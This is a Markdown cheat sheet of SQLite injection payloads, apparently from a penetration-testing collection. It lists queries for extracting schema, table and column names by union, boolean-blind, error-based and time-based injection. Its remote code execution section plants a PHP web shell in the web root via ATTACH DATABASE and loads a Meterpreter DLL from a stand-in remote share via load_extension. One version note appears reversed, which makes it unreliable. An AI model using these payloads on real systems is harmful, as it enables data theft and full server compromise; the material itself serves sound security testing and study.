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128 lines
3.7 KiB
Markdown
128 lines
3.7 KiB
Markdown
# SQLite Injection
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## Summary
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* [SQLite comments](#sqlite-comments)
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* [SQLite version](#sqlite-version)
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* [String based - Extract database structure](#string-based---extract-database-structure)
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* [Integer/String based - Extract table name](#integerstring-based---extract-table-name)
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* [Integer/String based - Extract column name](#integerstring-based---extract-column-name)
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* [Boolean - Count number of tables](#boolean---count-number-of-tables)
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* [Boolean - Enumerating table name](#boolean---enumerating-table-name)
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* [Boolean - Extract info](#boolean---extract-info)
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* [Boolean - Error based](#boolean---error-based)
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* [Time based](#time-based)
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* [Remote Code Execution](#remote-code-execution)
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* [Attach Database](#attach-database)
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* [Load_extension](#load_extension)
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* [References](#references)
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## SQLite comments
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```sql
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--
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/**/
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```
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## SQLite version
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```sql
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select sqlite_version();
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```
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## String based - Extract database structure
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```sql
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SELECT sql FROM sqlite_schema
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```
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if sqlite_version > 3.33.0
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```sql
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SELECT sql FROM sqlite_master
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```
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## Integer/String based - Extract table name
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```sql
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SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
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```
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## Integer/String based - Extract column name
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```sql
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SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
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```
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For a clean output
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```sql
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SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
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```
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Cleaner output
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```sql
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SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');
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```
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## Boolean - Count number of tables
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```sql
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and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
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```
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## Boolean - Enumerating table name
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```sql
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and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
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```
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## Boolean - Extract info
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```sql
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and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
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```
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## Boolean - Extract info (order by)
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```sql
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CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN <order_element_1> ELSE <order_element_2> END
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```
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## Boolean - Error based
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```sql
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AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END
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```
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## Time based
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```sql
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AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
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```
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## Remote Code Execution
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### Attach Database
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```sql
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ATTACH DATABASE '/var/www/lol.php' AS lol;
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CREATE TABLE lol.pwn (dataz text);
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INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
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```
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### Load_extension
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```sql
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UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
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```
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Note: By default this component is disabled
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## References
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* [Injecting SQLite database based application - Manish Kishan Tanwar - February 14, 2017](https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf)
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* [SQLite Error Based Injection for Enumeration - Rio Asmara Suryadi - February 6, 2021](https://rioasmara.com/2021/02/06/sqlite-error-based-injection-for-enumeration/)
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* [SQLite3 Injection Cheat sheet - Nickosaurus Hax - May 31, 2012](https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
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